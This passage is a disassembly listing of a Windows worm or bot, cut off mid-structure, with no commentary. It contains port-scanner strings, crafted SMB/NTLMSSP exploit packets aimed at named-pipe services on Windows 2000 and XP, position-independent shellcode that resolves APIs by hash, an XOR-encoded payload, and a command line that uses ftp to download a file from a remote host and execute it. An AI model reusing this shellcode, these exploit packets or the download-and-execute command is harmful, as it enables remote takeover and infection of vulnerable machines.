		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_28	db ' Failed to start server, error: <%d>.',0
		align 4
unk_434FE8	db  2Dh	; -		; DATA XREF: sub_40B14D+DCo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 10h
unk_435010	db  2Dh	; -		; DATA XREF: sub_40B14D+84o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_435048	db  2Dh	; -		; DATA XREF: sub_40B361+1E0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_435088	db  2Dh	; -		; DATA XREF: sub_40B361+168o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_4350C0	db  2Dh	; -		; DATA XREF: sub_40B361+103o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4350F4	db  2Dh	; -		; DATA XREF: sub_40B361+87o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
unk_435128	db  2Dh	; -		; DATA XREF: sub_40B5B8+92o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 10h
unk_435150	db  2Dh	; -		; DATA XREF: sub_40B685+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
unk_435178	db  2Dh	; -		; DATA XREF: sub_40B776+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
unk_4351A4	db  2Dh	; -		; DATA XREF: sub_40B776+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 10h
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40BAEF+B2o
		align 4
dword_4351DC	dd 10FF8h, 0		; DATA XREF: sub_40BAEF+6Ao
dword_4351E4	dd 10FF8h		; DATA XREF: sub_40BAEF+79o
dword_4351E8	dd 7FFDF020h, 0		; DATA XREF: sub_40BAEF+162o
dword_4351F0	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40BF09+78o
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_435278	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40BF09+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4352A8	dd 0			; DATA XREF: sub_40BF09+44o
		dd 800000D4h, 2	dup(0)
unk_4352B8	db  81h	; 		; DATA XREF: sub_40BFE8+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 2 dup(0)
byte_435308	db 41h			; DATA XREF: sub_40C086+108r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_435350	proc near		; DATA XREF: .nsp0:0040C362o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43544C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_435462
		mov	[esi+8], eax
		call	sub_435415
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_435462
		mov	[esi+0Ch], eax
		call	sub_4353C7
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_435462
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_435350	endp


; =============== S U B	R O U T	I N E =======================================



sub_4353C7	proc near		; CODE XREF: sub_435350+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4353F0
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4353C7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4353F0	proc near		; CODE XREF: sub_4353C7+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4353FF:				; CODE XREF: sub_4353F0+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43540C
		inc	ebx
		jmp	short loc_4353FF
; ---------------------------------------------------------------------------


loc_43540C:				; CODE XREF: sub_4353F0+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4353F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_435415	proc near		; CODE XREF: sub_435350+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43542D:				; CODE XREF: sub_435415+1Ej
		cmp	[ecx], ebx
		jz	short loc_435435
		mov	ecx, [ecx]
		jmp	short loc_43542D
; ---------------------------------------------------------------------------


loc_435435:				; CODE XREF: sub_435415+1Aj
		mov	edx, edi


loc_435437:				; CODE XREF: sub_435415+2Aj
		cmp	[edx+4], ebx
		jz	short loc_435441
		mov	edx, [edx+4]
		jmp	short loc_435437
; ---------------------------------------------------------------------------


loc_435441:				; CODE XREF: sub_435415+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_435415	endp


; =============== S U B	R O U T	I N E =======================================



sub_43544C	proc near		; CODE XREF: sub_435350+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43544C	endp


; =============== S U B	R O U T	I N E =======================================



sub_435462	proc near		; CODE XREF: sub_435350+16p
					; sub_435350+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_435478:				; CODE XREF: sub_435462+33j
		jecxz	short loc_4354B2
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_435485:				; CODE XREF: sub_435462+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_435491
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_435485
; ---------------------------------------------------------------------------


loc_435491:				; CODE XREF: sub_435462+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_435478
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4354B2:				; CODE XREF: sub_435462:loc_435478j
					; sub_435462:loc_4354B2j
		jmp	short loc_4354B2
sub_435462	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_4354B8	proc near		; DATA XREF: .nsp0:0040C310o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_43550A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_4354D5:				; CODE XREF: sub_4354B8+38j
		jecxz	short loc_435505
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_4354E0:				; CODE XREF: sub_4354B8+32j
		lodsb
		test	al, al
		jz	short loc_4354EC
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_4354E0
; ---------------------------------------------------------------------------


loc_4354EC:				; CODE XREF: sub_4354B8+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_4354D5
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_435505:				; CODE XREF: sub_4354B8:loc_4354D5j
		mov	[esp+arg_0], ebx
		retn
sub_4354B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_43550A	proc near		; CODE XREF: sub_4354B8+7p

; FUNCTION CHUNK AT 00435542 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_435523
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_43552E
; ---------------------------------------------------------------------------


loc_435523:				; CODE XREF: sub_43550A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_43552E:				; CODE XREF: sub_43550A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_435542
sub_43550A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_435535	proc near		; CODE XREF: sub_43550A:loc_435542p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_435535	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43550A


loc_435542:				; CODE XREF: sub_43550A+29j
		call	sub_435535


loc_435547:				; DATA XREF: sub_40BAEF+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_43550A
; ---------------------------------------------------------------------------
		dw 0
dword_43554C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40BAEF+2F5o
dword_435558	dd 0A1h			; DATA XREF: sub_40BAEF+29Fo
dword_43555C	dd 3			; DATA XREF: sub_40BAEF+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40BAEF+153o
		align 4


loc_435568:				; DATA XREF: sub_40BAEF+E8o
		jmp	short near ptr dword_435570
; ---------------------------------------------------------------------------
		align 10h
dword_435570	dd 2 dup(0)		; CODE XREF: .nsp0:loc_435568j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .nsp0:0040C337o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_4355E0	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40CA12+2B6o
; ---------------------------------------------------------------------------


loc_4355EC:				; CODE XREF: .nsp0:004355F6j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_4355EC
		inc	edi
		jz	short loc_435633
		and	eax, 952CE753h
		inc	esp
		jle	short loc_43565B
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_435633:				; CODE XREF: .nsp0:004355F9j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_435692+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_435658:				; CODE XREF: .nsp0:00435685j
		xor	[esi-25h], bl


loc_43565B:				; CODE XREF: .nsp0:00435601j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_435674:				; CODE XREF: .nsp0:004356A7j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_435658
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_435692:				; CODE XREF: .nsp0:00435639j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_43571E
		jo	short loc_435674
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_4356B5+1
		add	bl, [edi]


loc_4356B5:				; CODE XREF: .nsp0:004356B1j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_4356CA+2
		cmp	ch, bh
		dec	edx


loc_4356CA:				; CODE XREF: .nsp0:004356C5j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_43571E:				; CODE XREF: .nsp0:004356A5j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4357A4
		sub	al, 0BCh
		jmp	near ptr 54455B12h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_435740	dd 0EFFFC481h, 44FFFFh,	43578Ch	; DATA XREF: sub_40CA12+29Do
dword_43574C	dd 42Ah			; DATA XREF: sub_40CA12+23Dr
dword_435750	dd 3E8h			; DATA XREF: sub_40CA12+2C1r
dword_435754	dd 258h			; DATA XREF: sub_40CA12+293r
byte_435758	db 0			; DATA XREF: sub_40CA12+1EFr
					; sub_40CA12+2CFr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_435770	dd 20804h		; DATA XREF: sub_40C916r
					; sub_40CA12+2E8o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .nsp0:0043575Co
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4357A4:				; CODE XREF: .nsp0:00435728j
		push	eax
		xor	al, 29h


loc_4357A7:				; DATA XREF: sub_40CA12+211o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_4357B0	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_40CA12+14Bo
dword_4357C4	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: sub_40CA12+DBo
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_40CA12+78o
					; sub_40D5AA+1A4o
		align 4
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_40CA12+2Fo
					; sub_40D5AA+150o
		align 4
aB:					; DATA XREF: sub_40CFB7+ADo
		unicode	0, <>
		dw 4400h
aCkfdenecfdef_0	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0	db ' CACACACACACACACACACACACACACACAAA',0
		dd 2 dup(0)
dword_435848	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+CEo
		dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2	dup(0)
dword_4358A8	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+E8o
		dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1wi	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0	db 'Windows 2000 5.0',0
		align 10h
dword_435960	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+102o
		dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 8Fh
; ---------------------------------------------------------------------------
		jno	short loc_435A5E
		mov	ecx, 484962Fh
		retf	0EE65h
; ---------------------------------------------------------------------------
		dw 0DAFBh
		db 0CEh	; Î
		db 9Eh,	0AFh, 28h
		db  8Eh	; Ž
		db 0EEh, 7Ah, 54h
		db  69h	; i
		db 85h,	28h, 57h
		db    0
		db 4Fh,	0, 52h
		db    0
		db 4Bh,	0, 53h
		db    0
		dd offset loc_410052+2
		dd offset dword_490054
		dd offset byte_4E004F
		db 31h,	0, 57h
aIndows20002195	db 'indows 2000 2195',0
aWindows20005_1	db 'Windows 2000 5.0',0
		align 4
dword_435A58	dd 3A000000h		; DATA XREF: sub_40CFB7+119o
		db 0FFh, 53h
; ---------------------------------------------------------------------------


loc_435A5E:				; CODE XREF: .nsp0:00435A04j
		dec	ebp
		inc	edx
		jnz	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 20011800h, 3	dup(0)
		dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_435A98	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+130o
		dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	2 dup(0)
dword_435B00	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+14Ao
		dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_435B98	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+164o
					; sub_40CFB7+1DAo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 6B001F00h, 14C658Ch, 0
		dd 1000000h, 0
		dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h
		dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h,	0EED95951h
		dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h
		dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h,	56EA7289h
		dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h
		dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh,	3B450296h
		dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h,	9AEA7AAEh
		dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h
		dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h
		dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch
		dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh
		dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h, 0
dword_435CF8	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+17Eo
					; sub_40CFB7+1F4o
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 9001F00h,	0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h
		dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h
		dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh
		dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh,	3E23A807h
		dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h
		dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h,	40AF5374h
		dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh
		dd 73819842h, 0ECB7A9FEh
aR18zt89rmiyrru	db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8'
		db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0
		align 8
dword_435E58	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+198o
					; sub_40CFB7+20Eo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h
		dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h
		dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch
		dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah
		dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h
		dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h
		dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h
		dd 46377936h, 4534979h,	6F000208h, 6A695059h, 584A5559h
		dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah
		dd 44B4B50h, 49000208h,	6E5A5671h, 46C554Fh, 77000208h
		dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h
		dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h
		dd 0
		dd 1000000h, 0
		dd 0AD91A700h, 2 dup(0)
dword_435FB8	dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+1AFo
					; sub_40CFB7+225o
		dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 1C004A00h, 2004A00h,	2600h, 5C002340h, 45504950h, 5005Ch
		dd 100200h, 1C0000h, 0
		dd 40000h, 0
		dd 1Fh,	2 dup(0)
unk_436028	db  81h	; 		; DATA XREF: sub_40CFB7+283o
		db 2 dup(0), 44h
aCkfdenecfdef_1	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_1	db ' CACACACACACACACACACACACACACACAAA',0
		dd 2 dup(0)
dword_436078	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+2A4o
		dd 2D80000h, 97230000h,	2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2	dup(0)
dword_4360D8	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+2BEo
		dd 2D80000h, 97230000h,	0FF0Ch,	2FFDF00h, 100h,	4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1_0	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2	db 'Windows 2000 5.0',0
		align 10h
dword_436190	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+2D8o
		dd 2D80000h, 97230800h,	0FF0Ch,	2FFDF00h, 100h,	94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 0A3h
		db  9Eh	; ž
		db 5Eh,	9Bh, 4
		db  57h	; W
		db 0E3h, 15h, 0B7h
		db  6Fh	; o
		db 44h,	0E9h, 1Eh
		db  49h	; I
		db 0FEh, 0C0h, 0BEh
		db 0E9h	; é
		db 0A6h, 0A7h, 7Fh
aPmiw		db 'pmiW',0
aO_0		db 'O',0
		dd offset word_4B0052
		db 53h
		db    0
		dd offset loc_410052+2
		dd offset dword_490054
		dd offset byte_4E004F
		db 31h,	0, 57h
aIndows200021_0	db 'indows 2000 2195',0
aWindows20005_3	db 'Windows 2000 5.0',0
		align 4
dword_436288	dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+2EFo
		dd 2D80000h, 97230000h,	0FF0Dh,	2FFDF00h, 100h,	2 dup(0)
		db    0
		db 2 dup(0), 40h
		db    0
		db 2 dup(0), 25h
		db    0
		db 2 dup(0), 57h
aIndows200021_1	db 'indows 2000 2195',0
aWindows20005_4	db 'Windows 2000 5.0',0
		align 10h
dword_4362F0	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+306o
